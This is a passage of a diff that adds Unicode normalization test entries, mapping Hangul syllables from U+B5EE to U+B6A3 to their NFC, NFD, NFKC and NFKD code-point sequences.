+{ source: [0xB5EE], NFC: [0xB5EE], NFD: [0x1104, 0x1167, 0x11BD], NFKC: [0xB5EE], NFKD: [0x1104, 0x1167, 0x11BD] },
+{ source: [0xB5EF], NFC: [0xB5EF], NFD: [0x1104, 0x1167, 0x11BE], NFKC: [0xB5EF], NFKD: [0x1104, 0x1167, 0x11BE] },
+{ source: [0xB5F0], NFC: [0xB5F0], NFD: [0x1104, 0x1167, 0x11BF], NFKC: [0xB5F0], NFKD: [0x1104, 0x1167, 0x11BF] },
+{ source: [0xB5F1], NFC: [0xB5F1], NFD: [0x1104, 0x1167, 0x11C0], NFKC: [0xB5F1], NFKD: [0x1104, 0x1167, 0x11C0] },
+{ source: [0xB5F2], NFC: [0xB5F2], NFD: [0x1104, 0x1167, 0x11C1], NFKC: [0xB5F2], NFKD: [0x1104, 0x1167, 0x11C1] },
+{ source: [0xB5F3], NFC: [0xB5F3], NFD: [0x1104, 0x1167, 0x11C2], NFKC: [0xB5F3], NFKD: [0x1104, 0x1167, 0x11C2] },
+{ source: [0xB5F4], NFC: [0xB5F4], NFD: [0x1104, 0x1168], NFKC: [0xB5F4], NFKD: [0x1104, 0x1168] },
+{ source: [0xB5F5], NFC: [0xB5F5], NFD: [0x1104, 0x1168, 0x11A8], NFKC: [0xB5F5], NFKD: [0x1104, 0x1168, 0x11A8] },
+{ source: [0xB5F6], NFC: [0xB5F6], NFD: [0x1104, 0x1168, 0x11A9], NFKC: [0xB5F6], NFKD: [0x1104, 0x1168, 0x11A9] },
+{ source: [0xB5F7], NFC: [0xB5F7], NFD: [0x1104, 0x1168, 0x11AA], NFKC: [0xB5F7], NFKD: [0x1104, 0x1168, 0x11AA] },
+{ source: [0xB5F8], NFC: [0xB5F8], NFD: [0x1104, 0x1168, 0x11AB], NFKC: [0xB5F8], NFKD: [0x1104, 0x1168, 0x11AB] },
+{ source: [0xB5F9], NFC: [0xB5F9], NFD: [0x1104, 0x1168, 0x11AC], NFKC: [0xB5F9], NFKD: [0x1104, 0x1168, 0x11AC] },
+{ source: [0xB5FA], NFC: [0xB5FA], NFD: [0x1104, 0x1168, 0x11AD], NFKC: [0xB5FA], NFKD: [0x1104, 0x1168, 0x11AD] },
+{ source: [0xB5FB], NFC: [0xB5FB], NFD: [0x1104, 0x1168, 0x11AE], NFKC: [0xB5FB], NFKD: [0x1104, 0x1168, 0x11AE] },
+{ source: [0xB5FC], NFC: [0xB5FC], NFD: [0x1104, 0x1168, 0x11AF], NFKC: [0xB5FC], NFKD: [0x1104, 0x1168, 0x11AF] },
+{ source: [0xB5FD], NFC: [0xB5FD], NFD: [0x1104, 0x1168, 0x11B0], NFKC: [0xB5FD], NFKD: [0x1104, 0x1168, 0x11B0] },
+{ source: [0xB5FE], NFC: [0xB5FE], NFD: [0x1104, 0x1168, 0x11B1], NFKC: [0xB5FE], NFKD: [0x1104, 0x1168, 0x11B1] },
+{ source: [0xB5FF], NFC: [0xB5FF], NFD: [0x1104, 0x1168, 0x11B2], NFKC: [0xB5FF], NFKD: [0x1104, 0x1168, 0x11B2] },
+{ source: [0xB600], NFC: [0xB600], NFD: [0x1104, 0x1168, 0x11B3], NFKC: [0xB600], NFKD: [0x1104, 0x1168, 0x11B3] },
+{ source: [0xB601], NFC: [0xB601], NFD: [0x1104, 0x1168, 0x11B4], NFKC: [0xB601], NFKD: [0x1104, 0x1168, 0x11B4] },
+{ source: [0xB602], NFC: [0xB602], NFD: [0x1104, 0x1168, 0x11B5], NFKC: [0xB602], NFKD: [0x1104, 0x1168, 0x11B5] },
+{ source: [0xB603], NFC: [0xB603], NFD: [0x1104, 0x1168, 0x11B6], NFKC: [0xB603], NFKD: [0x1104, 0x1168, 0x11B6] },
+{ source: [0xB604], NFC: [0xB604], NFD: [0x1104, 0x1168, 0x11B7], NFKC: [0xB604], NFKD: [0x1104, 0x1168, 0x11B7] },
+{ source: [0xB605], NFC: [0xB605], NFD: [0x1104, 0x1168, 0x11B8], NFKC: [0xB605], NFKD: [0x1104, 0x1168, 0x11B8] },
+{ source: [0xB606], NFC: [0xB606], NFD: [0x1104, 0x1168, 0x11B9], NFKC: [0xB606], NFKD: [0x1104, 0x1168, 0x11B9] },
+{ source: [0xB607], NFC: [0xB607], NFD: [0x1104, 0x1168, 0x11BA], NFKC: [0xB607], NFKD: [0x1104, 0x1168, 0x11BA] },
+{ source: [0xB608], NFC: [0xB608], NFD: [0x1104, 0x1168, 0x11BB], NFKC: [0xB608], NFKD: [0x1104, 0x1168, 0x11BB] },
+{ source: [0xB609], NFC: [0xB609], NFD: [0x1104, 0x1168, 0x11BC], NFKC: [0xB609], NFKD: [0x1104, 0x1168, 0x11BC] },
+{ source: [0xB60A], NFC: [0xB60A], NFD: [0x1104, 0x1168, 0x11BD], NFKC: [0xB60A], NFKD: [0x1104, 0x1168, 0x11BD] },
+{ source: [0xB60B], NFC: [0xB60B], NFD: [0x1104, 0x1168, 0x11BE], NFKC: [0xB60B], NFKD: [0x1104, 0x1168, 0x11BE] },
+{ source: [0xB60C], NFC: [0xB60C], NFD: [0x1104, 0x1168, 0x11BF], NFKC: [0xB60C], NFKD: [0x1104, 0x1168, 0x11BF] },
+{ source: [0xB60D], NFC: [0xB60D], NFD: [0x1104, 0x1168, 0x11C0], NFKC: [0xB60D], NFKD: [0x1104, 0x1168, 0x11C0] },
+{ source: [0xB60E], NFC: [0xB60E], NFD: [0x1104, 0x1168, 0x11C1], NFKC: [0xB60E], NFKD: [0x1104, 0x1168, 0x11C1] },
+{ source: [0xB60F], NFC: [0xB60F], NFD: [0x1104, 0x1168, 0x11C2], NFKC: [0xB60F], NFKD: [0x1104, 0x1168, 0x11C2] },
+{ source: [0xB610], NFC: [0xB610], NFD: [0x1104, 0x1169], NFKC: [0xB610], NFKD: [0x1104, 0x1169] },
+{ source: [0xB611], NFC: [0xB611], NFD: [0x1104, 0x1169, 0x11A8], NFKC: [0xB611], NFKD: [0x1104, 0x1169, 0x11A8] },
+{ source: [0xB612], NFC: [0xB612], NFD: [0x1104, 0x1169, 0x11A9], NFKC: [0xB612], NFKD: [0x1104, 0x1169, 0x11A9] },
+{ source: [0xB613], NFC: [0xB613], NFD: [0x1104, 0x1169, 0x11AA], NFKC: [0xB613], NFKD: [0x1104, 0x1169, 0x11AA] },
+{ source: [0xB614], NFC: [0xB614], NFD: [0x1104, 0x1169, 0x11AB], NFKC: [0xB614], NFKD: [0x1104, 0x1169, 0x11AB] },
+{ source: [0xB615], NFC: [0xB615], NFD: [0x1104, 0x1169, 0x11AC], NFKC: [0xB615], NFKD: [0x1104, 0x1169, 0x11AC] },
+{ source: [0xB616], NFC: [0xB616], NFD: [0x1104, 0x1169, 0x11AD], NFKC: [0xB616], NFKD: [0x1104, 0x1169, 0x11AD] },
+{ source: [0xB617], NFC: [0xB617], NFD: [0x1104, 0x1169, 0x11AE], NFKC: [0xB617], NFKD: [0x1104, 0x1169, 0x11AE] },
+{ source: [0xB618], NFC: [0xB618], NFD: [0x1104, 0x1169, 0x11AF], NFKC: [0xB618], NFKD: [0x1104, 0x1169, 0x11AF] },
+{ source: [0xB619], NFC: [0xB619], NFD: [0x1104, 0x1169, 0x11B0], NFKC: [0xB619], NFKD: [0x1104, 0x1169, 0x11B0] },
+{ source: [0xB61A], NFC: [0xB61A], NFD: [0x1104, 0x1169, 0x11B1], NFKC: [0xB61A], NFKD: [0x1104, 0x1169, 0x11B1] },
+{ source: [0xB61B], NFC: [0xB61B], NFD: [0x1104, 0x1169, 0x11B2], NFKC: [0xB61B], NFKD: [0x1104, 0x1169, 0x11B2] },
+{ source: [0xB61C], NFC: [0xB61C], NFD: [0x1104, 0x1169, 0x11B3], NFKC: [0xB61C], NFKD: [0x1104, 0x1169, 0x11B3] },
+{ source: [0xB61D], NFC: [0xB61D], NFD: [0x1104, 0x1169, 0x11B4], NFKC: [0xB61D], NFKD: [0x1104, 0x1169, 0x11B4] },
+{ source: [0xB61E], NFC: [0xB61E], NFD: [0x1104, 0x1169, 0x11B5], NFKC: [0xB61E], NFKD: [0x1104, 0x1169, 0x11B5] },
+{ source: [0xB61F], NFC: [0xB61F], NFD: [0x1104, 0x1169, 0x11B6], NFKC: [0xB61F], NFKD: [0x1104, 0x1169, 0x11B6] },
+{ source: [0xB620], NFC: [0xB620], NFD: [0x1104, 0x1169, 0x11B7], NFKC: [0xB620], NFKD: [0x1104, 0x1169, 0x11B7] },
+{ source: [0xB621], NFC: [0xB621], NFD: [0x1104, 0x1169, 0x11B8], NFKC: [0xB621], NFKD: [0x1104, 0x1169, 0x11B8] },
+{ source: [0xB622], NFC: [0xB622], NFD: [0x1104, 0x1169, 0x11B9], NFKC: [0xB622], NFKD: [0x1104, 0x1169, 0x11B9] },
+{ source: [0xB623], NFC: [0xB623], NFD: [0x1104, 0x1169, 0x11BA], NFKC: [0xB623], NFKD: [0x1104, 0x1169, 0x11BA] },
+{ source: [0xB624], NFC: [0xB624], NFD: [0x1104, 0x1169, 0x11BB], NFKC: [0xB624], NFKD: [0x1104, 0x1169, 0x11BB] },
+{ source: [0xB625], NFC: [0xB625], NFD: [0x1104, 0x1169, 0x11BC], NFKC: [0xB625], NFKD: [0x1104, 0x1169, 0x11BC] },
+{ source: [0xB626], NFC: [0xB626], NFD: [0x1104, 0x1169, 0x11BD], NFKC: [0xB626], NFKD: [0x1104, 0x1169, 0x11BD] },
+{ source: [0xB627], NFC: [0xB627], NFD: [0x1104, 0x1169, 0x11BE], NFKC: [0xB627], NFKD: [0x1104, 0x1169, 0x11BE] },
+{ source: [0xB628], NFC: [0xB628], NFD: [0x1104, 0x1169, 0x11BF], NFKC: [0xB628], NFKD: [0x1104, 0x1169, 0x11BF] },
+{ source: [0xB629], NFC: [0xB629], NFD: [0x1104, 0x1169, 0x11C0], NFKC: [0xB629], NFKD: [0x1104, 0x1169, 0x11C0] },
+{ source: [0xB62A], NFC: [0xB62A], NFD: [0x1104, 0x1169, 0x11C1], NFKC: [0xB62A], NFKD: [0x1104, 0x1169, 0x11C1] },
+{ source: [0xB62B], NFC: [0xB62B], NFD: [0x1104, 0x1169, 0x11C2], NFKC: [0xB62B], NFKD: [0x1104, 0x1169, 0x11C2] },
+{ source: [0xB62C], NFC: [0xB62C], NFD: [0x1104, 0x116A], NFKC: [0xB62C], NFKD: [0x1104, 0x116A] },
+{ source: [0xB62D], NFC: [0xB62D], NFD: [0x1104, 0x116A, 0x11A8], NFKC: [0xB62D], NFKD: [0x1104, 0x116A, 0x11A8] },
+{ source: [0xB62E], NFC: [0xB62E], NFD: [0x1104, 0x116A, 0x11A9], NFKC: [0xB62E], NFKD: [0x1104, 0x116A, 0x11A9] },
+{ source: [0xB62F], NFC: [0xB62F], NFD: [0x1104, 0x116A, 0x11AA], NFKC: [0xB62F], NFKD: [0x1104, 0x116A, 0x11AA] },
+{ source: [0xB630], NFC: [0xB630], NFD: [0x1104, 0x116A, 0x11AB], NFKC: [0xB630], NFKD: [0x1104, 0x116A, 0x11AB] },
+{ source: [0xB631], NFC: [0xB631], NFD: [0x1104, 0x116A, 0x11AC], NFKC: [0xB631], NFKD: [0x1104, 0x116A, 0x11AC] },
+{ source: [0xB632], NFC: [0xB632], NFD: [0x1104, 0x116A, 0x11AD], NFKC: [0xB632], NFKD: [0x1104, 0x116A, 0x11AD] },
+{ source: [0xB633], NFC: [0xB633], NFD: [0x1104, 0x116A, 0x11AE], NFKC: [0xB633], NFKD: [0x1104, 0x116A, 0x11AE] },
+{ source: [0xB634], NFC: [0xB634], NFD: [0x1104, 0x116A, 0x11AF], NFKC: [0xB634], NFKD: [0x1104, 0x116A, 0x11AF] },
+{ source: [0xB635], NFC: [0xB635], NFD: [0x1104, 0x116A, 0x11B0], NFKC: [0xB635], NFKD: [0x1104, 0x116A, 0x11B0] },
+{ source: [0xB636], NFC: [0xB636], NFD: [0x1104, 0x116A, 0x11B1], NFKC: [0xB636], NFKD: [0x1104, 0x116A, 0x11B1] },
+{ source: [0xB637], NFC: [0xB637], NFD: [0x1104, 0x116A, 0x11B2], NFKC: [0xB637], NFKD: [0x1104, 0x116A, 0x11B2] },
+{ source: [0xB638], NFC: [0xB638], NFD: [0x1104, 0x116A, 0x11B3], NFKC: [0xB638], NFKD: [0x1104, 0x116A, 0x11B3] },
+{ source: [0xB639], NFC: [0xB639], NFD: [0x1104, 0x116A, 0x11B4], NFKC: [0xB639], NFKD: [0x1104, 0x116A, 0x11B4] },
+{ source: [0xB63A], NFC: [0xB63A], NFD: [0x1104, 0x116A, 0x11B5], NFKC: [0xB63A], NFKD: [0x1104, 0x116A, 0x11B5] },
+{ source: [0xB63B], NFC: [0xB63B], NFD: [0x1104, 0x116A, 0x11B6], NFKC: [0xB63B], NFKD: [0x1104, 0x116A, 0x11B6] },
+{ source: [0xB63C], NFC: [0xB63C], NFD: [0x1104, 0x116A, 0x11B7], NFKC: [0xB63C], NFKD: [0x1104, 0x116A, 0x11B7] },
+{ source: [0xB63D], NFC: [0xB63D], NFD: [0x1104, 0x116A, 0x11B8], NFKC: [0xB63D], NFKD: [0x1104, 0x116A, 0x11B8] },
+{ source: [0xB63E], NFC: [0xB63E], NFD: [0x1104, 0x116A, 0x11B9], NFKC: [0xB63E], NFKD: [0x1104, 0x116A, 0x11B9] },
+{ source: [0xB63F], NFC: [0xB63F], NFD: [0x1104, 0x116A, 0x11BA], NFKC: [0xB63F], NFKD: [0x1104, 0x116A, 0x11BA] },
+{ source: [0xB640], NFC: [0xB640], NFD: [0x1104, 0x116A, 0x11BB], NFKC: [0xB640], NFKD: [0x1104, 0x116A, 0x11BB] },
+{ source: [0xB641], NFC: [0xB641], NFD: [0x1104, 0x116A, 0x11BC], NFKC: [0xB641], NFKD: [0x1104, 0x116A, 0x11BC] },
+{ source: [0xB642], NFC: [0xB642], NFD: [0x1104, 0x116A, 0x11BD], NFKC: [0xB642], NFKD: [0x1104, 0x116A, 0x11BD] },
+{ source: [0xB643], NFC: [0xB643], NFD: [0x1104, 0x116A, 0x11BE], NFKC: [0xB643], NFKD: [0x1104, 0x116A, 0x11BE] },
+{ source: [0xB644], NFC: [0xB644], NFD: [0x1104, 0x116A, 0x11BF], NFKC: [0xB644], NFKD: [0x1104, 0x116A, 0x11BF] },
+{ source: [0xB645], NFC: [0xB645], NFD: [0x1104, 0x116A, 0x11C0], NFKC: [0xB645], NFKD: [0x1104, 0x116A, 0x11C0] },
+{ source: [0xB646], NFC: [0xB646], NFD: [0x1104, 0x116A, 0x11C1], NFKC: [0xB646], NFKD: [0x1104, 0x116A, 0x11C1] },
+{ source: [0xB647], NFC: [0xB647], NFD: [0x1104, 0x116A, 0x11C2], NFKC: [0xB647], NFKD: [0x1104, 0x116A, 0x11C2] },
+{ source: [0xB648], NFC: [0xB648], NFD: [0x1104, 0x116B], NFKC: [0xB648], NFKD: [0x1104, 0x116B] },
+{ source: [0xB649], NFC: [0xB649], NFD: [0x1104, 0x116B, 0x11A8], NFKC: [0xB649], NFKD: [0x1104, 0x116B, 0x11A8] },
+{ source: [0xB64A], NFC: [0xB64A], NFD: [0x1104, 0x116B, 0x11A9], NFKC: [0xB64A], NFKD: [0x1104, 0x116B, 0x11A9] },
+{ source: [0xB64B], NFC: [0xB64B], NFD: [0x1104, 0x116B, 0x11AA], NFKC: [0xB64B], NFKD: [0x1104, 0x116B, 0x11AA] },
+{ source: [0xB64C], NFC: [0xB64C], NFD: [0x1104, 0x116B, 0x11AB], NFKC: [0xB64C], NFKD: [0x1104, 0x116B, 0x11AB] },
+{ source: [0xB64D], NFC: [0xB64D], NFD: [0x1104, 0x116B, 0x11AC], NFKC: [0xB64D], NFKD: [0x1104, 0x116B, 0x11AC] },
+{ source: [0xB64E], NFC: [0xB64E], NFD: [0x1104, 0x116B, 0x11AD], NFKC: [0xB64E], NFKD: [0x1104, 0x116B, 0x11AD] },
+{ source: [0xB64F], NFC: [0xB64F], NFD: [0x1104, 0x116B, 0x11AE], NFKC: [0xB64F], NFKD: [0x1104, 0x116B, 0x11AE] },
+{ source: [0xB650], NFC: [0xB650], NFD: [0x1104, 0x116B, 0x11AF], NFKC: [0xB650], NFKD: [0x1104, 0x116B, 0x11AF] },
+{ source: [0xB651], NFC: [0xB651], NFD: [0x1104, 0x116B, 0x11B0], NFKC: [0xB651], NFKD: [0x1104, 0x116B, 0x11B0] },
+{ source: [0xB652], NFC: [0xB652], NFD: [0x1104, 0x116B, 0x11B1], NFKC: [0xB652], NFKD: [0x1104, 0x116B, 0x11B1] },
+{ source: [0xB653], NFC: [0xB653], NFD: [0x1104, 0x116B, 0x11B2], NFKC: [0xB653], NFKD: [0x1104, 0x116B, 0x11B2] },
+{ source: [0xB654], NFC: [0xB654], NFD: [0x1104, 0x116B, 0x11B3], NFKC: [0xB654], NFKD: [0x1104, 0x116B, 0x11B3] },
+{ source: [0xB655], NFC: [0xB655], NFD: [0x1104, 0x116B, 0x11B4], NFKC: [0xB655], NFKD: [0x1104, 0x116B, 0x11B4] },
+{ source: [0xB656], NFC: [0xB656], NFD: [0x1104, 0x116B, 0x11B5], NFKC: [0xB656], NFKD: [0x1104, 0x116B, 0x11B5] },
+{ source: [0xB657], NFC: [0xB657], NFD: [0x1104, 0x116B, 0x11B6], NFKC: [0xB657], NFKD: [0x1104, 0x116B, 0x11B6] },
+{ source: [0xB658], NFC: [0xB658], NFD: [0x1104, 0x116B, 0x11B7], NFKC: [0xB658], NFKD: [0x1104, 0x116B, 0x11B7] },
+{ source: [0xB659], NFC: [0xB659], NFD: [0x1104, 0x116B, 0x11B8], NFKC: [0xB659], NFKD: [0x1104, 0x116B, 0x11B8] },
+{ source: [0xB65A], NFC: [0xB65A], NFD: [0x1104, 0x116B, 0x11B9], NFKC: [0xB65A], NFKD: [0x1104, 0x116B, 0x11B9] },
+{ source: [0xB65B], NFC: [0xB65B], NFD: [0x1104, 0x116B, 0x11BA], NFKC: [0xB65B], NFKD: [0x1104, 0x116B, 0x11BA] },
+{ source: [0xB65C], NFC: [0xB65C], NFD: [0x1104, 0x116B, 0x11BB], NFKC: [0xB65C], NFKD: [0x1104, 0x116B, 0x11BB] },
+{ source: [0xB65D], NFC: [0xB65D], NFD: [0x1104, 0x116B, 0x11BC], NFKC: [0xB65D], NFKD: [0x1104, 0x116B, 0x11BC] },
+{ source: [0xB65E], NFC: [0xB65E], NFD: [0x1104, 0x116B, 0x11BD], NFKC: [0xB65E], NFKD: [0x1104, 0x116B, 0x11BD] },
+{ source: [0xB65F], NFC: [0xB65F], NFD: [0x1104, 0x116B, 0x11BE], NFKC: [0xB65F], NFKD: [0x1104, 0x116B, 0x11BE] },
+{ source: [0xB660], NFC: [0xB660], NFD: [0x1104, 0x116B, 0x11BF], NFKC: [0xB660], NFKD: [0x1104, 0x116B, 0x11BF] },
+{ source: [0xB661], NFC: [0xB661], NFD: [0x1104, 0x116B, 0x11C0], NFKC: [0xB661], NFKD: [0x1104, 0x116B, 0x11C0] },
+{ source: [0xB662], NFC: [0xB662], NFD: [0x1104, 0x116B, 0x11C1], NFKC: [0xB662], NFKD: [0x1104, 0x116B, 0x11C1] },
+{ source: [0xB663], NFC: [0xB663], NFD: [0x1104, 0x116B, 0x11C2], NFKC: [0xB663], NFKD: [0x1104, 0x116B, 0x11C2] },
+{ source: [0xB664], NFC: [0xB664], NFD: [0x1104, 0x116C], NFKC: [0xB664], NFKD: [0x1104, 0x116C] },
+{ source: [0xB665], NFC: [0xB665], NFD: [0x1104, 0x116C, 0x11A8], NFKC: [0xB665], NFKD: [0x1104, 0x116C, 0x11A8] },
+{ source: [0xB666], NFC: [0xB666], NFD: [0x1104, 0x116C, 0x11A9], NFKC: [0xB666], NFKD: [0x1104, 0x116C, 0x11A9] },
+{ source: [0xB667], NFC: [0xB667], NFD: [0x1104, 0x116C, 0x11AA], NFKC: [0xB667], NFKD: [0x1104, 0x116C, 0x11AA] },
+{ source: [0xB668], NFC: [0xB668], NFD: [0x1104, 0x116C, 0x11AB], NFKC: [0xB668], NFKD: [0x1104, 0x116C, 0x11AB] },
+{ source: [0xB669], NFC: [0xB669], NFD: [0x1104, 0x116C, 0x11AC], NFKC: [0xB669], NFKD: [0x1104, 0x116C, 0x11AC] },
+{ source: [0xB66A], NFC: [0xB66A], NFD: [0x1104, 0x116C, 0x11AD], NFKC: [0xB66A], NFKD: [0x1104, 0x116C, 0x11AD] },
+{ source: [0xB66B], NFC: [0xB66B], NFD: [0x1104, 0x116C, 0x11AE], NFKC: [0xB66B], NFKD: [0x1104, 0x116C, 0x11AE] },
+{ source: [0xB66C], NFC: [0xB66C], NFD: [0x1104, 0x116C, 0x11AF], NFKC: [0xB66C], NFKD: [0x1104, 0x116C, 0x11AF] },
+{ source: [0xB66D], NFC: [0xB66D], NFD: [0x1104, 0x116C, 0x11B0], NFKC: [0xB66D], NFKD: [0x1104, 0x116C, 0x11B0] },
+{ source: [0xB66E], NFC: [0xB66E], NFD: [0x1104, 0x116C, 0x11B1], NFKC: [0xB66E], NFKD: [0x1104, 0x116C, 0x11B1] },
+{ source: [0xB66F], NFC: [0xB66F], NFD: [0x1104, 0x116C, 0x11B2], NFKC: [0xB66F], NFKD: [0x1104, 0x116C, 0x11B2] },
+{ source: [0xB670], NFC: [0xB670], NFD: [0x1104, 0x116C, 0x11B3], NFKC: [0xB670], NFKD: [0x1104, 0x116C, 0x11B3] },
+{ source: [0xB671], NFC: [0xB671], NFD: [0x1104, 0x116C, 0x11B4], NFKC: [0xB671], NFKD: [0x1104, 0x116C, 0x11B4] },
+{ source: [0xB672], NFC: [0xB672], NFD: [0x1104, 0x116C, 0x11B5], NFKC: [0xB672], NFKD: [0x1104, 0x116C, 0x11B5] },
+{ source: [0xB673], NFC: [0xB673], NFD: [0x1104, 0x116C, 0x11B6], NFKC: [0xB673], NFKD: [0x1104, 0x116C, 0x11B6] },
+{ source: [0xB674], NFC: [0xB674], NFD: [0x1104, 0x116C, 0x11B7], NFKC: [0xB674], NFKD: [0x1104, 0x116C, 0x11B7] },
+{ source: [0xB675], NFC: [0xB675], NFD: [0x1104, 0x116C, 0x11B8], NFKC: [0xB675], NFKD: [0x1104, 0x116C, 0x11B8] },
+{ source: [0xB676], NFC: [0xB676], NFD: [0x1104, 0x116C, 0x11B9], NFKC: [0xB676], NFKD: [0x1104, 0x116C, 0x11B9] },
+{ source: [0xB677], NFC: [0xB677], NFD: [0x1104, 0x116C, 0x11BA], NFKC: [0xB677], NFKD: [0x1104, 0x116C, 0x11BA] },
+{ source: [0xB678], NFC: [0xB678], NFD: [0x1104, 0x116C, 0x11BB], NFKC: [0xB678], NFKD: [0x1104, 0x116C, 0x11BB] },
+{ source: [0xB679], NFC: [0xB679], NFD: [0x1104, 0x116C, 0x11BC], NFKC: [0xB679], NFKD: [0x1104, 0x116C, 0x11BC] },
+{ source: [0xB67A], NFC: [0xB67A], NFD: [0x1104, 0x116C, 0x11BD], NFKC: [0xB67A], NFKD: [0x1104, 0x116C, 0x11BD] },
+{ source: [0xB67B], NFC: [0xB67B], NFD: [0x1104, 0x116C, 0x11BE], NFKC: [0xB67B], NFKD: [0x1104, 0x116C, 0x11BE] },
+{ source: [0xB67C], NFC: [0xB67C], NFD: [0x1104, 0x116C, 0x11BF], NFKC: [0xB67C], NFKD: [0x1104, 0x116C, 0x11BF] },
+{ source: [0xB67D], NFC: [0xB67D], NFD: [0x1104, 0x116C, 0x11C0], NFKC: [0xB67D], NFKD: [0x1104, 0x116C, 0x11C0] },
+{ source: [0xB67E], NFC: [0xB67E], NFD: [0x1104, 0x116C, 0x11C1], NFKC: [0xB67E], NFKD: [0x1104, 0x116C, 0x11C1] },
+{ source: [0xB67F], NFC: [0xB67F], NFD: [0x1104, 0x116C, 0x11C2], NFKC: [0xB67F], NFKD: [0x1104, 0x116C, 0x11C2] },
+{ source: [0xB680], NFC: [0xB680], NFD: [0x1104, 0x116D], NFKC: [0xB680], NFKD: [0x1104, 0x116D] },
+{ source: [0xB681], NFC: [0xB681], NFD: [0x1104, 0x116D, 0x11A8], NFKC: [0xB681], NFKD: [0x1104, 0x116D, 0x11A8] },
+{ source: [0xB682], NFC: [0xB682], NFD: [0x1104, 0x116D, 0x11A9], NFKC: [0xB682], NFKD: [0x1104, 0x116D, 0x11A9] },
+{ source: [0xB683], NFC: [0xB683], NFD: [0x1104, 0x116D, 0x11AA], NFKC: [0xB683], NFKD: [0x1104, 0x116D, 0x11AA] },
+{ source: [0xB684], NFC: [0xB684], NFD: [0x1104, 0x116D, 0x11AB], NFKC: [0xB684], NFKD: [0x1104, 0x116D, 0x11AB] },
+{ source: [0xB685], NFC: [0xB685], NFD: [0x1104, 0x116D, 0x11AC], NFKC: [0xB685], NFKD: [0x1104, 0x116D, 0x11AC] },
+{ source: [0xB686], NFC: [0xB686], NFD: [0x1104, 0x116D, 0x11AD], NFKC: [0xB686], NFKD: [0x1104, 0x116D, 0x11AD] },
+{ source: [0xB687], NFC: [0xB687], NFD: [0x1104, 0x116D, 0x11AE], NFKC: [0xB687], NFKD: [0x1104, 0x116D, 0x11AE] },
+{ source: [0xB688], NFC: [0xB688], NFD: [0x1104, 0x116D, 0x11AF], NFKC: [0xB688], NFKD: [0x1104, 0x116D, 0x11AF] },
+{ source: [0xB689], NFC: [0xB689], NFD: [0x1104, 0x116D, 0x11B0], NFKC: [0xB689], NFKD: [0x1104, 0x116D, 0x11B0] },
+{ source: [0xB68A], NFC: [0xB68A], NFD: [0x1104, 0x116D, 0x11B1], NFKC: [0xB68A], NFKD: [0x1104, 0x116D, 0x11B1] },
+{ source: [0xB68B], NFC: [0xB68B], NFD: [0x1104, 0x116D, 0x11B2], NFKC: [0xB68B], NFKD: [0x1104, 0x116D, 0x11B2] },
+{ source: [0xB68C], NFC: [0xB68C], NFD: [0x1104, 0x116D, 0x11B3], NFKC: [0xB68C], NFKD: [0x1104, 0x116D, 0x11B3] },
+{ source: [0xB68D], NFC: [0xB68D], NFD: [0x1104, 0x116D, 0x11B4], NFKC: [0xB68D], NFKD: [0x1104, 0x116D, 0x11B4] },
+{ source: [0xB68E], NFC: [0xB68E], NFD: [0x1104, 0x116D, 0x11B5], NFKC: [0xB68E], NFKD: [0x1104, 0x116D, 0x11B5] },
+{ source: [0xB68F], NFC: [0xB68F], NFD: [0x1104, 0x116D, 0x11B6], NFKC: [0xB68F], NFKD: [0x1104, 0x116D, 0x11B6] },
+{ source: [0xB690], NFC: [0xB690], NFD: [0x1104, 0x116D, 0x11B7], NFKC: [0xB690], NFKD: [0x1104, 0x116D, 0x11B7] },
+{ source: [0xB691], NFC: [0xB691], NFD: [0x1104, 0x116D, 0x11B8], NFKC: [0xB691], NFKD: [0x1104, 0x116D, 0x11B8] },
+{ source: [0xB692], NFC: [0xB692], NFD: [0x1104, 0x116D, 0x11B9], NFKC: [0xB692], NFKD: [0x1104, 0x116D, 0x11B9] },
+{ source: [0xB693], NFC: [0xB693], NFD: [0x1104, 0x116D, 0x11BA], NFKC: [0xB693], NFKD: [0x1104, 0x116D, 0x11BA] },
+{ source: [0xB694], NFC: [0xB694], NFD: [0x1104, 0x116D, 0x11BB], NFKC: [0xB694], NFKD: [0x1104, 0x116D, 0x11BB] },
+{ source: [0xB695], NFC: [0xB695], NFD: [0x1104, 0x116D, 0x11BC], NFKC: [0xB695], NFKD: [0x1104, 0x116D, 0x11BC] },
+{ source: [0xB696], NFC: [0xB696], NFD: [0x1104, 0x116D, 0x11BD], NFKC: [0xB696], NFKD: [0x1104, 0x116D, 0x11BD] },
+{ source: [0xB697], NFC: [0xB697], NFD: [0x1104, 0x116D, 0x11BE], NFKC: [0xB697], NFKD: [0x1104, 0x116D, 0x11BE] },
+{ source: [0xB698], NFC: [0xB698], NFD: [0x1104, 0x116D, 0x11BF], NFKC: [0xB698], NFKD: [0x1104, 0x116D, 0x11BF] },
+{ source: [0xB699], NFC: [0xB699], NFD: [0x1104, 0x116D, 0x11C0], NFKC: [0xB699], NFKD: [0x1104, 0x116D, 0x11C0] },
+{ source: [0xB69A], NFC: [0xB69A], NFD: [0x1104, 0x116D, 0x11C1], NFKC: [0xB69A], NFKD: [0x1104, 0x116D, 0x11C1] },
+{ source: [0xB69B], NFC: [0xB69B], NFD: [0x1104, 0x116D, 0x11C2], NFKC: [0xB69B], NFKD: [0x1104, 0x116D, 0x11C2] },
+{ source: [0xB69C], NFC: [0xB69C], NFD: [0x1104, 0x116E], NFKC: [0xB69C], NFKD: [0x1104, 0x116E] },
+{ source: [0xB69D], NFC: [0xB69D], NFD: [0x1104, 0x116E, 0x11A8], NFKC: [0xB69D], NFKD: [0x1104, 0x116E, 0x11A8] },
+{ source: [0xB69E], NFC: [0xB69E], NFD: [0x1104, 0x116E, 0x11A9], NFKC: [0xB69E], NFKD: [0x1104, 0x116E, 0x11A9] },
+{ source: [0xB69F], NFC: [0xB69F], NFD: [0x1104, 0x116E, 0x11AA], NFKC: [0xB69F], NFKD: [0x1104, 0x116E, 0x11AA] },
+{ source: [0xB6A0], NFC: [0xB6A0], NFD: [0x1104, 0x116E, 0x11AB], NFKC: [0xB6A0], NFKD: [0x1104, 0x116E, 0x11AB] },
+{ source: [0xB6A1], NFC: [0xB6A1], NFD: [0x1104, 0x116E, 0x11AC], NFKC: [0xB6A1], NFKD: [0x1104, 0x116E, 0x11AC] },
+{ source: [0xB6A2], NFC: [0xB6A2], NFD: [0x1104, 0x116E, 0x11AD], NFKC: [0xB6A2], NFKD: [0x1104, 0x116E, 0x11AD] },
+{ source: [0xB6A3], NFC: [0xB6A3], NFD: [0x1104, 0x116E, 0x11AE], NFKC: [0xB6A3], NFKD: [0x1104, 0x116E, 0x11AE] },
